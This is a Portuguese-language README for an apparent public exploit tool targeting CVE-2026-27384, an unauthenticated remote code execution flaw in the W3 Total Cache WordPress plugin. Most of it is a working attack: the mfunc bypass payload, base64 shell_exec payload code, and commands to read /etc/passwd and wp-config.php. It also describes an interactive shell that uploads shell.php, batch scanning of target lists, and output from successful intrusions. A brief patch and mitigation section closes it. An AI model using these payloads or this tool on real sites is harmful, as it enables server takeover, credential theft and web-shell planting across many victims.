
Scanner e exploit automatizados para CVE-2026-27384, um RCE não autenticado no W3 Total Cache via injeção mfunc/eval(). Inclui autodetecção, 48 variantes de payload, shell interativo e varredura em lote.
Plugin: W3 Total Cache Plugin Slug:
w3-total-cacheCVE ID: CVE-2026-27384 Pontuação CVSS: 9.8 (Crítico) Vetor CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidade: Execução Arbitrária de Código sem Autenticação (Injeção de Código viaeval()) Versões afetadas: <= 2.9.1 Versão corrigida: 2.9.2 Data de publicação: 24 de fevereiro de 2026 Pesquisador: CODE WHITE GmbH
O recurso Dynamic Fragment Caching do plugin W3 Total Cache (sistema mfunc/mclude)
executa código PHP embutido em comentários HTML via eval().
O token , que deveria proteger esse recurso, pode ser
contornado devido à combinação de múltiplos erros de código.
W3TC_DYNAMIC_SECURITYResultado: Sem exigir autenticação, apenas enviando um comentário no WordPress, é possível executar código PHP arbitrário no servidor.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Crítico |
| Tipo | Injeção de Código → RCE (CWE-94) |
| Versão Afetada | <= 2.9.1 |
| Versão Corrigida | 2.9.2 |
| Autenticação | Não necessária |
| Interação do Usuário | Não necessária |
| Pré-requisito | W3TC_DYNAMIC_SECURITY deve conter metacaractere regex |
O recurso Dynamic Fragment Caching do W3TC permite que desenvolvedores insiram código PHP no HTML da página por meio de tags de comentário especiais:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
O W3TC processa essas tags ao servir a página do cache:
o PHP embutido é executado com eval() e sua saída substitui o bloco de comentário.
preg_quote() (PgCache_ContentGrabber.php)// VULNERÁVEL — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY é inserido diretamente na regex
// SEM preg_quote() → o token se comporta como padrão regex
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Se o token for '.', a regex vira <!--\s*mfunc\s*.(.*)--> →
qualquer caractere único passa a valer como token.
\s* vs \s+| Função | Padrão | Comportamento |
|---|---|---|
_parse_dynamic() — executa | mfunc\s*TOKEN | Aceita 0 espaços ✅ |
strip_dynamic_fragment_tags_from_string() — remove | mfunc\s+TOKEN | Exige pelo menos 1 espaço ❌ |
Payload do atacante: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
SEM ESPAÇO entre mfunc e o token
função strip: \s+ → não corresponde → payload PERMANECE
regex de execução: \s* → corresponde → eval() EXECUTA
_has_dynamic())// VULNERÁVEL — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Apenas verifica defined() — sem verificação de empty() ou metacaractere
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (metacaractere regex — qualquer caractere)
│
▼
Atacante envia comentário:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Padrão: mfunc\s+[^\s]+ → exige \s+, sem espaço → IGNORADO ✅
│
▼
Comentário é salvo no banco de dados, página é armazenada em cache
│
▼
Segunda solicitação HTTP → W3TC serve do cache
_has_dynamic() → mfunc\s*. → 'A' corresponde → retorna true
│
▼
_parse_dynamic() → preg_replace_callback
Padrão: mfunc\s*. → 'A' corresponde
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE sem autenticação ✓
Sem autenticação, é possível executar código PHP arbitrário no servidor com as permissões do servidor web:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Modo | Descrição |
|---|---|
auto | Escaneia o site → encontra página de comentários → explora (padrão) |
exploit | Explora diretamente — com URL de post |
shell | Shell interativo |
detect | Apenas detecção do W3TC |
python w3tc_rce.py https://hedef.com
O scanner faz o seguinte:
# comando id
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# ler /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# ler wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID manual
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Quando o shell abre, whoami, hostname, pwd e uname -a são executados automaticamente:
=================================================================
CVE-2026-27384 — Shell Interativo W3TC mfunc
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Comandos: exit | upload <local> <remoto> | download <remoto>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC instalado!
Versão : 2.9.1
Cache : True
[!] Versão 2.9.1 VULNERÁVEL (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| Parâmetro | Curto | Descrição | Padrão |
|---|---|---|---|
url | — | URL de alvo único | — |
--list | -l | Arquivo com lista de alvos | — |
--mode | — | Modo de operação | auto |
--cmd | — | Comando a executar | id |
--post-url | — | URL da página com comentário | — |
--post-id | — | Post ID do WordPress | — |
--max-pages | — | Máx. de páginas do spider | 50 |
--threads | -t | Número de threads | 10 |
--output | -o | Arquivo de saída | w3tc_results.txt |
--proxy | — | URL do proxy | — |
--no-color | — | Saída sem cores | False |
--verbose | -v | Saída detalhada | False |
Tag padrão (capturada pelo strip):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
há espaço → \s+ corresponde → strip remove
Tag de bypass (ignora o strip, eval() executa):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
SEM espaço → \s+ não corresponde → strip IGNORA
\s* corresponde → eval() EXECUTA
O código PHP é codificado em base64 para evitar problemas de codificação HTML:
# Comando: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| Grupo | Função | Caractere de Bypass | Codificação |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | Todas as funções | A, B, X, 1 | Bruto |
1. Detecção do W3TC
└─ readme.txt, header, body, diretório do plugin
2. Detecção do Sistema de Comentários
└─ Formulário HTML, REST API, post ID
3. Injeção do Payload (48 variantes)
├─ REST API: POST /wp-json/wp/v2/comments
└─ Formulário HTML: POST /wp-comments-post.php
4. Gatilho de Cache
├─ 1ª solicitação → cache miss → página renderizada → armazenada em cache
└─ 2ª solicitação → cache hit → _parse_dynamic() → eval()
5. Extração da Saída
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — RCE W3 Total Cache mfunc/eval()
=================================================================
[*] Alvo: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Página de comentários: https://hedef.com/?p=1 (post_id=1)
[1] Detecção do W3TC...
[+] W3TC encontrado! Versão: 2.9.1
[2] Detecção do sistema de comentários...
[+] Post ID: 1 | Form: True | REST: True
[3] Injeção do payload (id)...
[i] 48 variantes de payload prontas
[4] Acionando cache...
[★] RCE BEM-SUCEDIDO!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
Comando : id
Saída : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Resultados salvos → w3tc_results.txt
[?] Abrir shell? (s/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 vulnerabilidades encontradas!
[+] Resultados salvos → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # Scanner principal
├── requirements.txt # Dependências
└── README.md # Este arquivo
| Medida | Descrição |
|---|---|
| Atualização do Plugin | Atualizar para W3 Total Cache 2.9.2+ |
| Desativar mfunc | Se W3TC_DYNAMIC_SECURITY não estiver definido, o recurso não funciona |
| Token Forte | O token deve conter apenas caracteres alfanuméricos ([a-zA-Z0-9_]+) |
Exemplo de token seguro (wp-config.php):
// ❌ Perigoso — metacaractere regex
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Seguro — alfanumérico
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
Correção do 2.9.2 (_parse_dynamic()):
// CORRIGIDO — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote adicionado
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (pelo menos 1 espaço)
...
);
Esta ferramenta e PoC foram elaboradas apenas para uso em sistemas autorizados, fins educacionais e dentro do escopo de testes de penetração. O uso em sistemas sem autorização constitui crime sob os Artigos 243-245 do Código Penal Turco e leis internacionais de crimes cibernéticos. O desenvolvedor não aceita nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.
Licença MIT — Apenas para fins educacionais e de pesquisa.